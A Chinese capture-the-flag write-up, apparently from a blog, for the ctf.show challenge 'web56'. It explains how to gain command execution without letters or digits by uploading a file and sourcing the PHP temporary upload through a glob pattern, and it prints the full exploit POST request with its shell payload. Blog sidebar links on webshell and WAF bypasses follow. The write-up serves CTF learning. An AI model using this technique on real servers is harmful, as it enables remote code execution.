web56(无字母数字RCE)
拜读P神的文章,讲的很透彻
.
命令的作用
. file
或source file
表示在当前Shell环境中执行指定文件中的命令(而不是启动子Shell)。- 例如,在Bash中执行
. script.sh
,文件中的命令会直接影响当前Shell的变量、工作目录等状态。
与直接执行脚本的区别
- 直接运行脚本(如
./script.sh
)需要文件有可执行权限(x),且会在子Shell中执行。 - 而
. file
不需要文件有x权限,只需有读权限(r),且在当前Shell执行。
我们可以发送一个上传包含RCE代码文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。然后我们用上面的方法执行
/???/?????????这个通配符的文件很多,但是文件名都是小写,只有我们上传的有可以是大写
只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件
大写字母位于@
与[
之间可以用[@-[]表示,最后构造POST包,如果未成功执行可以重发几遍
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 9b1febb8-c09e-4610-9cf5-24f019e798dc.challenge.ctf.show
Cookie: _ga_PP4LXQY4W0=GS1.1.1733965285.1.1.1733965624.0.0.0; _ga=GA1.2.242778645.1733965285
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 241
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat flag.php
-----------------------------10242300956292313528205888--
#! /bin/sh
是一个 Shebang(解释器指令),用于指定脚本文件的默认解释器
#! /bin/sh
声明该脚本应使用 /bin/sh
执行
web56(无字母数字RCE)的更多相关文章
- Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx
Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...
- 无字母数字getshell
无字母数字webshell 预备知识 一些不包含数字和字母的webshell https://www.leavesongs.com/PENETRATION/webshell-without-alpha ...
- 浅谈无字母数字构造webshell
0x00 问题 <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($cod ...
- 构造无字母数字Webshell
异或: 补充: A的ascii为65,对应二进制是01000001 <?php echo "1"^"A"; ?> 将"A"和&q ...
- PHP字母数字验证码和中文验证码
1:字母数字组合的验证码 HTML代码: 验证码:<input type="text" name="code"> <img onclick=& ...
- 字母数字、字母、汉字验证码 (java)
原文:http://blog.csdn.net/qh_java/article/details/49854477 一.字母数字,字母,汉字验证码的生成代码 1.字母数字验证码: package com ...
- 【python】题目:有1、2、3、4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少?
# encoding:utf-8 # p001_1234threeNums.py def threeNums(): '''题目:有1.2.3.4个数字,能组成多少个互不相同且无重复数字的三位数?都是多 ...
- 对文本行进行排序,新增-d(目录排序),只对字母数字空格排序(TCPL 练习5-16)
文本行的排序用到了命令行参数以及多级指针,在要求只对字母数字空格进行排序时,关键的问题点是兼容-f命令参数,也就是排序的同时忽略大小写.由于在之前的练习中,我将忽略大小写的比较方法重新写了一个函数tr ...
- js 正则 以字母开头必须有 大小写字母数字组成 可以有“@"或 ”.“
js 正则 以字母开头必须有 大小写字母数字组成 可以有“@"或 ”.“ var reg = /^[a-zA-Z]{1}(?=.*[a-z])(?=.*[A-Z])[a-zA-Z\d_@ ...
- JS生成随机的由字母数字组合的字符串
前言 最近有个需求,是需要生成3-32位长度的字母数字组合的随机字符串,另一个是生成43位随机字符串. 方法一 奇妙的写法 1 Math.random().toString(36).substr( ...
随机推荐
- ceph mgr balancer模块执行流程与配置方案
随着OSD的更替和集群的扩缩容,PG在OSD的分布会逐渐变的不均衡,导致各OSD的实际容量使用率出现差异,集群整体使用率降低.ceph balancer模块就是通过调整权重或者upmap指定pg映射来 ...
- 一文搞懂javascript中的var、let、const
简介 var, let and const是JavaScript中三种定义变量的方式,它们之间有什么区别呢?这是前端面试中常见的一道题,今天我们来一文说透它. let和const区别不大,主要是con ...
- python 安装的国内镜像源
Python 镜像源是指可以用来下载 Python 相关软件包的在线仓库地址.Python 在国内使用的比较广泛,为了提高安装包的下载速度,一般会配置国内镜像源.常见的 Python 镜像源包括以下几 ...
- 使用plsql导入的操作问题
导入文件之前要创建表空间等操作,如下: 1. sql文件导入的是用户对象 2. pde文件导入的是表和数据 sql文件使用sql插入的方式导入 pde文件使用以下方式导入
- 【8*】动态DP学习笔记
前言 WC 2024 的知识点,补个档.寒假时间紧促,这篇博客是边学边写的. 此类知识点大纲中并未涉及,所以[8]是我自己的估计,后带星号表示估计,仅供参考. 动态 DP 动态 DP 用于解决需要求出 ...
- vim 快速在一行的前面加上# // 之类的东西
首先切换到大写的模式 然后ctrl + v 选中自己想注释的行.上下方向键盘 然后 按i 然后输入自己想要的 东西 然后esc 就输入了
- SciTech-Logic:逻辑学-Introduction to Logic: Irvine - 5.2 Class and Statement 类与直言命题
类与直言命题 亚里士多德三段论逻辑,主要探讨的是关于不同对象类之间相互关系的论证. Class:类 Class类,指的是共有certain specific property:某种特定属性的objec ...
- 使用python的tkinter库自制计算器ui界面
原理 tkinter库 主要使用label和button,具体了解看教程https://www.cnblogs.com/shwee/p/9427975.html eval函数 这个函数能把字符串转化为 ...
- 基于Helm部署kube-prometheus-stack
概述 GitHub地址:https://github.com/prometheus-operator/prometheus-operator Helm仓库:https://prometheus-com ...
- zookeeper集群安装和配置
1安装JDK1.8拷贝jdk-8u201-linux-x64.tar.gz包到/usr目录解压jdk包vi /etc/profile最后一行添加如下内容,保存退出后source /etc/profil ...